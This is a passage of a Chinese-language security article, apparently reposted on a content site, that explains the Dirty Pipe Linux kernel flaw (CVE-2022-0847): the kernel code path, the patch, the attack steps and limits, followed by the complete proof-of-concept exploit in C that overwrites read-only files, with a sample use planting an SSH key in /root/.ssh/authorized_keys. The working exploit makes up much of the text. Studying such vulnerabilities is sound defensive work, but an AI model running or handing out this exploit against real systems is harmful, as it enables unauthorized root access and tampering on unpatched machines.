⑦ 最新网安大厂面试题合集(含答案)
⑧ App客户端安全检测指南(Android/ target=_blank class=infotextkey>安卓+IOS)
由于已经通过splice
函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455
行的内部处理逻辑
文章插图
最终到达了往只读文件写入的操作,这里看到了
PIPE_BUF_FLAG_CAN_MERGE
这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)
函数进行完成的,该函数实际就是将from
对应的数据写入到buf->page
中文章插图
可以看到
buf->page
与page
地址是完全一样的,这就导致我们将数据写入修改到foo.txt
文件中文章插图
补丁
补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程
文章插图
总结
DirtyPipe
攻击流程- 将所有管道缓冲区都设置
PIPE_BUF_FLAG_CAN_MERGE
标志位
- 清空管道缓冲区
- 使用
splice
函数获取文件所对应的物理页
- 使用
pipe_write
函数对拥有PIPE_BUF_FLAG_CAN_MERGE
标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作
DirtyPipe
利用的限制- 对文件有读权限,因为
splice
函数会首先判断对文件是否有可读权限,若无则无法正常执行
- 由于
DirtyPipe
是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice
函数需要移动至少一字节数据)
- 由于
DirtyPipe
是对物理页进行修改,因此修改数据大小也不能超过一页
完整的poc
/* SPDX-License-Identifier: GPL-2.0 *//** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable. It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'nssh-ed25519 AAA......n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/*** Create a pipe where all "bufs" on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/static void prepare_pipe(int p[2]){if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;write(p[1], buffer, n);r -= n;}/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;read(p[0], buffer, n);r -= n;}/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its "flags", the bufferwill be mergeable */}int main(int argc, char **argv){if (argc != 4) {fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]);return EXIT_FAILURE;}/* dumb command-line argument parser */const char *const path = argv[1];loff_t offset = strtoul(argv[2], NULL, 0);const char *const data = argv[3];const size_t data_size = strlen(data);if (offset % PAGE_SIZE == 0) {fprintf(stderr, "Sorry, cannot start writing at a page boundaryn");return EXIT_FAILURE;}const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;const loff_t end_offset = offset + (loff_t)data_size;if (end_offset > next_page) {fprintf(stderr, "Sorry, cannot write across a page boundaryn");return EXIT_FAILURE;}/* open the input file and validate the specified offset */const int fd = open(path, O_RDONLY); // yes, read-only! :-)if (fd < 0) {perror("open failed");return EXIT_FAILURE;}struct stat st;if (fstat(fd, &st)) {perror("stat failed");return EXIT_FAILURE;}if (offset > st.st_size) {fprintf(stderr, "Offset is not inside the filen");return EXIT_FAILURE;}if (end_offset > st.st_size) {fprintf(stderr, "Sorry, cannot enlarge the filen");return EXIT_FAILURE;}/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */int p[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) {perror("splice failed");return EXIT_FAILURE;}if (nbytes == 0) {fprintf(stderr, "short splicen");return EXIT_FAILURE;}/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes = write(p[1], data, data_size);if (nbytes < 0) {perror("write failed");return EXIT_FAILURE;}if ((size_t)nbytes < data_size) {fprintf(stderr, "short writen");return EXIT_FAILURE;}printf("It worked!n");return EXIT_SUCCESS;}
推荐阅读
- Apache再现高危漏洞,已被僵尸网络滥用
- CVE-2022-2602 Linux Kernel 本地权限提升漏洞修复过程
- 多伦多Pwn2Own黑客大赛展示了63个0day漏洞
- 微软杀软Defender有漏洞 可能会永久删除用户文件
- 野蛮生长|《风吹半夏》播出大半,剧情漏洞越来越多,弃剧理由让人无法反驳
- 谷歌:国家黑客仍在利用IE 0day漏洞
- 信仰|谍战剧《信仰》:一个细节太过随意,四大漏洞不合常理
- 短信验证码:运营商在真心保障用户权益?还是规避鉴权漏洞风险?
- 大S|新一轮大戏:大S晒出两份证据可漏洞百出,前夫哥汪小菲正面回击
- 大S|新一轮大戏:大S晒出两份证据却漏洞百出,前夫哥汪小菲正面回击